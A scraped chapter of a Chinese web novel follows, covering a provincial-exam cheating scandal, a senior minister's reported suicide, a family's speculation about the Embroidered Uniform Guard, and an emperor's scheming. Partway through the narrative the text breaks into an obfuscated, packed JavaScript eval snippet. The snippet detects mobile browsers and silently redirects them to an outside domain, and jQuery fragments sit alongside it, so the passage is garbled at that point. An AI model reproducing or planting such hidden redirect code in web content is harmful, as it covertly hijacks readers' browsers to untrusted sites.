默认冷灰
24号文字
方正启体

37. 天命威逼四

作者:白衣慕卿相本书字数:K更新时间:
    鸿嘉帝不语,只眉头微蹙,视线往上,越过人群,看向巍峨的贡院。


    贡院内,终于迈步出门的主考官顾文彬,嗅了一口久违的新鲜气息。但没想到自己一口气还喘在喉咙口呢,便听得不远处的榜单公示处吵吵嚷嚷的。相比自己记忆中的哭声喊声欢呼声汇集的学生五味,此刻还多了几分的尖酸:


    “怎么又没中?你这名震京城的纨绔子弟怎么会高中?是不是也舞弊了?”


    “山东舞弊案,可是天下皆知道!”


    “你一个侯爷不是按律可以荫庇为官吗?有必要来争这一个名额?”


    “…………”


    这些话,在遗憾未中的言语中透着卑怯。顾文彬听在耳里,不屑的摇摇头。这世道,科考已是公正之事了。


    就连他,从前还带着穿越者的高高在上鄙夷鞭挞过八股文。


    可真正经历了,才知道八股文,规定死了相关的格式要件,才能避开各种暗语作弊,才能保留寒门子弟的上身通道。


    感慨着,顾文彬只叮嘱了衙役盯紧了榜单公式处的动静,便上了马车去府衙。


    要知道从被钦点为顺天府乡试主考官到今日,他已经足足已有四十天没有好生休息过了。当然休息也不是最为重要的,作为高级社畜,他得立马回到顺天府衙坐镇,查勘一月内发生的要紧事。


    想着自己即将要面对的政务,顾文彬按着头,想要干脆瘫在马上内休憩一二。岂料自己腿都还没有伸直的机会,便听得由远及近的呼喊声:“姑爷?”


    听得这一声带着熟悉的呼喊,顾文彬掀开窗帘往外看了一眼。


    蹲守在贡院的萧东见师爷的动作赶忙小心翼翼上前,“还望姑爷恕罪,夫人有要紧的事要说。”


    见状,顾文彬耐着脾气嗯了一声,示意人入内。


    萧东赶忙爬上马车,小声的禀告:“山东乡试舞弊案爆发,夫人唯恐牵涉到孟家,又因姻亲的关系连累到您。”


    顾文彬只觉自己是迎头一盆冷水浇灌下来,浇得他一个月连轴劳累的疲倦都顷刻间被冰冻住了。他甚至都有些惊诧:“山东乡试舞弊?若是本官没记错,皇上在山东吧?”


    “正是。半月前中秋之日山东六百里加急进京,朝野哗然……”萧东奉命前来,自是带着些紧张,挑着紧要的大事说个清楚:“这些时日,山东那边不断有消息传来。据闻锦衣卫雷厉风行,帝王亲自坐镇监督,现弄清了相关情况。”


    先是举人俞光宗供认贿买,是由孟承恩包揽,托学政孔知勾兑外帘考官们,约定好了首场《四书》第一篇文末用“也夫”,第二篇文末用“而已矣。”第二场第三场试题各有约定。


    每人许黄金一百两,白银三千里,另有扬州瘦马等相赠。


    “孟承恩是谁?”顾文彬言简意赅,直问要点。


    萧东颤栗着跪地,结巴着开口:“不敢满姑爷。是……是阁老一家昔年族长的孙子。因……因孟阁老念着老族长昔年让族长位的情谊,故此对其子孙略有些帮扶。”


    “眼下已有阁老的政敌借此攻讦阁老。”


    见人虽然浑身颤抖,但言辞还是有些婉转,顾文彬也没继续追问如何帮扶这件事,思忖片刻后开口问:“山东舞弊如何爆出来,如何上达天听可追溯查清楚了?”


    迎着人话说到最后眼神带着的锐利,像是能够完全透过他这个血肉之躯,知道他多少花花肠子。萧东因此吓得脑子空白一瞬,结巴着开口诉说:“这……这据闻是有人昔年落榜的秀才们愤愤而谈,被微服私访的帝王听了个正着。”


    顾文彬心中“咯噔”一声。


    皇帝是爱微服私访,可事情真那么凑巧?


    心中沉甸甸的,顾文彬没有开口任何的表态,只催促着马夫行程加快些。等到了自己熟悉有些安全感的顺天府衙,他看完积攒的朝廷邸报,又分别问了留守的心腹师爷、捕头以及下属佐丞后,屈指在桌面上敲了敲,命令:


    “多加派人手盯着今日乡试放榜。尤其是关注江昱这个特殊的考生。”


    “大人,先前下官已按着您的吩咐盯着江昱了。”府丞躬身禀告着:“江侯或许真是祖宗庇佑,皇陵冒了烟。这回竟然高中了,第一百五十五名。”


    乡试顺天府历来上榜也就一百六十人。


    故此,江昱也真算得上佼佼者了。


    “可问题的关键,我等也并未听闻江家有请名师教导啊!哪怕近一年江家的确没怎么出门参加各种宴会,也没出门购物。算得上低调。”府丞说着,看向顾文彬的眼,都带着些紧张:“这……这下官收集时已有谣传说是顺天府乡试舞弊了。”


    耳畔似乎回荡着自己先前出贡院门听到的声声刻薄嫉妒话语,顾文彬的手慢慢端起茶盏。


    他屈指在茶盏上轻轻的敲着。


    习惯性的以指代笔勾勾画画,借此厘清围绕“舞弊”之下的暗流涌动。


    鸿嘉帝若是如法炮制上位之法,先是暗中蛰伏,而后一击毙命。那么孟家这回恐怕要被连根拔起。


    可孟家拔起来后呢?


    鸿嘉帝有人填补这些空缺?


    再说了,孟家只是有些世家之心,但政治主张还是随着鸿嘉帝走的,奉行经世务实之策。


    若不是鸿嘉帝的手笔,是孟家的政敌盘算,那又会是谁有这么大的手笔,连皇帝微服私访都能算计到?


    顾文彬越想眉头拧得更紧。


    手渐渐直接捏住了杯盏。


    因用力手指指尖都带着青紫。


    就在他用力紧攥,恨不得捏裂了茶盏,借此抒写心中因此压抑的心绪时,便听得外头脚步声慌乱,更是大呼小叫:“大人,不……不好了,出大事了。”


    “说。”顾文彬气得直接将手中的杯盏狠狠的砸在地上。


    听得“咣当”一声,而后脆成四分五裂发出的脆响。


    他才觉心口稍微顺气了些。


    瞥了眼地面上散落的茶杯陶瓷碎片,一片片的像是在无声的提醒着他一步错不得,否则就会落得四分五裂的下场。


    自我警惕着,顾文彬缓缓吁出一口气,盯着前来禀告的捕头。


    捕头大着舌头,紧张着:“这……这兄弟们来偷风报信,锦衣卫要请孟阁老问话,进了孟家发现……发现……”


    “发现天塌了不成?”顾文彬掷地有声:“说。”


    捕头看着浩然正义模样的顾文彬,想着人种种为官清廉之举,面色都有些联系的看着顾文彬,声音更是掐着放柔了些,唯恐自家大人吓着了:“这……这……据说孟阁老被不孝子弟气得自尽,留下遗书说孟家家门败坏了,他无颜见孟家父老,更无颜见圣颜,也对不起天下苦读的学子。”


    顾文彬不敢信。


    这谁都会死,孟阁老这想要扶持孟家世世代代当贵族,还梦想当皇帝外祖的政客怎么会死?


    “真的?”顾文彬带着些火气开口。


    捕头点头若小鸡啄米。


    顾文彬:“…………”


    顾文彬:“…………”


    顾文彬:“…………”


    顾文彬心慌一瞬,急急忙忙派人去后院请自己的媳妇,想要探个究竟。但没想到就见人红着眼,趔趔趄趄的朝他奔来,满是慌乱无措。


    见状,顾文彬只觉自己心跳都骤停了。


    还不如在贡院呢,起码只要跟文字打交道就行。哪像如今,堪称天翻地覆。


    就在顾文彬感慨震惊时,消息也传遍了大街小巷。


    刚庆祝完的江家收到孟阁老羞愧自尽的消息,全都懵了。江小米更是恍惚的跌坐在地上:“这……这……这……这怎么可能?明明上……”


    刚打算拍手庆祝的李玉娇闻言一个激灵,连忙狂奔过去抬手去捂住江小米的嘴。


    上辈子的事情,她最不愿意听啦。


    最为重要的是,锦衣卫神出鬼没啊。这回又又是锦衣卫去孟家请孟阁老配合,才发现孟阁老竟然死翘翘了。


    所以锦衣卫厉害啊。


    “小米,过去的事情就过去了。”李玉娇紧紧抱住江小米,凑在人耳畔,小声提醒道:“那些朝臣攻讦人不看证据的,会各种臆想参奏。你先前都被参过中邪。”


    “咱们不想那些梦了好不好?”


    感觉自己都像是白胖蓬松的馒头被挤压成厚实的馒头饼了,江小米费力的抬手推了一下李玉娇,喘着气开口:“你别拿吃奶的劲抱我!”


    李玉娇闻言回过神来,赶忙揉揉江小米的胖腰。


    婴儿肥,有些肉乎乎的,抱着手感好,不是她的错。


    江昱见状抬手揉揉江小米的脑袋,带着安抚过后就抬手按着人要挣扎脱离李玉娇怀抱的手,“让你娘多抱两回就娴熟了。”


    “四岁小孩子被抱着不丢人。趴在地上受凉了,那才丢人了。”


    江小米恨铁不成钢的瞪亲爹。


    上辈子就知道了,亲爹就是个见色忘义的!


    儿子和媳妇,就是选媳妇!


    家族和媳妇,还是选媳妇!


    江昱屈指轻轻敲了一下江小米脑门:“弹你一下脑壳,崽你学着我聪明一些。这孟阁老死亡很显然就是锦衣卫的手笔啊。”


    “一个正常的阁老怎么可能死?”


    “锦衣卫只是保全读书人,尤其是寒门文曲星一个美梦罢了。”江昱说着声音都有些冷:“让寒门读书人相信寒门文曲星是为天下读书人,是为百姓请命的好官。这舞弊的事情全都是孟阁老那些不成器的族人徒弟狼狈为奸,跟清清白白的孟阁老没有关系。”


    “我四岁了,我都不信。”江小米气呼呼着。


    李玉娇看着虽然生气但没有挣扎着,愿意让她继续抱着的崽,心里恨不得欢快的跑十圈。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713841|168506||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小心翼翼带着珍惜再一次抱到儿子,抱到她胖乎乎的儿子后,李玉娇也不由得点头,视线带着信赖看向一言不发的顾夫人:“婆母,您分析一下啊。”


    “我觉得江昱分析只有三分道理。”


    “你先说说理由。”顾夫人压下心中的骇然,循循善诱着开口。


    江昱也带着些希冀看向李玉娇。


    见状李玉娇想了想,认真道:“首先一人得道鸡犬升天,我们老百姓都讲究这个。我二哥当初衣锦还乡,哪怕只是三甲进士被某些捏酸的人说是如夫人,但也有不少远房的远房亲友扒拉着过来。甚至其中还有一个曾经是秀才公,看不上我们这一支入商籍,各种鄙夷我们的。但我爹在二哥高中归来后,十分大气的给他们整整一千两银子资助他读书继续科考呢。”


    “有仇啊,都能因为光宗耀祖化解,更别提没仇的亲友族人了。因此我认为孟阁老和山东老家没办法做分割啊。”


    “其次孟阁老是阁老,位高权重的。为避免番邦作祟,他若是死亡,按律是要接受三司仵作勘查的。”李玉娇正色道:“自尽是审案中出现最容易检查出来到底是自杀还是他杀的。若是锦衣卫杀人,若我是锦衣卫那我肯定选择放火弄个尸骨无存。”


    “媳妇,先杀死了然后放火烧,也容易被仵作查出来死亡的真相。”江昱提醒道。


    李玉娇闻言静默一刻,再一次扭头看向顾夫人。


    顾夫人看着满眼都是崇拜与信赖的李玉娇,无奈的吁口气:“你们一家三口捧着咱们江家的丹书铁券去睡觉。然后明天一早起来,继续习文练武。”


    “娘?”江昱都震惊:“这么大的事,您不分析分析?”


    顾夫人言简意赅:“真正主事的人在山东,咱们在这分析的头发都掉了也没有用。没听玉娇说吗?三甲进士是如夫人。”


    “眼下,我们连参与朝政的资格都没有。就像先帝时期夺嫡乱斗,江家之所以能够富贵无忧,其中一点便是皇子们认为我们江家孤儿寡母,没什么价值。”


    这一声都带着深深的幽怨,听得江小米都觉一股寒意从天灵盖席卷了全身,让他不自禁的抬手想要攥住什么东西。


    于是他下意识的抓住了李玉娇的手腕。


    发现自己被儿子小手牢牢握住的瞬间,李玉娇便觉自己心跳都噗通噗通一下又一下的活过来了。


    感慨着,她面色凝重,表示自己将婆母的话牢牢记在心上:“婆母,您放心,我们会让自己有价值的。”


    顾夫人看着斗志昂扬的李玉娇,沉声:“对于江家来说,你目前的燃眉之急是给我生个孙女。”


    李玉娇:“…………”


    李玉娇依依不舍的把不愿跟她一起睡的江小米教给顾夫人,扭头就去牵江昱,行动迅猛的都算得上拽了。


    “玉娇,我娘就是一句玩笑话,孩子的事不急。身体最重要是不是?”江昱大概能够揣测到老娘为什么忽然间连催生娃一事。


    但哪怕有狼狗虎视眈眈。


    可李玉娇到底先前难产过。


    且那狗皇帝真上心的话,恐怕孕妇都下得了手。


    因此没必要急急怀孕。


    “等你想到难产不害怕,那时候……”


    李玉娇委屈的打断江昱的话:“我能自己理智的分析问题了。虽然考虑问题不全面。”


    “可我不是懵懵懂懂的,父母讨论分析说什么对我好,我就听他们的话。”


    “江昱,陪着我庆祝好不好?”


    说着李玉娇揽着江昱的脖颈,望着人向来对她宠溺的眉眼:“庆祝我在你的教导下,也是好学生。”


    “不光学习好,那……”李玉娇挑眉望着江昱,垂首慢慢吻上去。


    而后吓得一颤。


    这灼热的呼吸迎面扑来,仿若要把她烧起来了。


    带着凶猛。


    完全不像从前的江昱。


    温温柔柔的,怕她疼。


    不过好像也有别样的滋味?!


    李玉娇感慨着,抱紧了江昱,放任自己似乎还挺满意的啜泣声。


    ***


    两日后,鸿嘉帝接到京城的急件,扫过政务的私事的交织一起,汇成一句句简单客观的回应。


    他沉默的抬手将密信放入灯笼中。


    顷刻间一簇火苗腾得升起,照亮了他眉眼的戾火。


    等火苗化作浓浓的厌恶,确保一切都燃烧成灰烬,毫无死灰复燃的可能。鸿嘉帝缓缓吁出一口气,目光带着些阴狠盯着自己身侧衣架子上挂着的骑袍。


    李玉娇的骑袍的确不合他的身。


    但拆了缝合的边线,穿在他身上,亦也有些风韵在。


    且骑袍历来寓意胜利和征服,被称为“得胜袍”。


    他穿此袍,入山东乡试考场。


    届时江山美人皆在掌握之中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)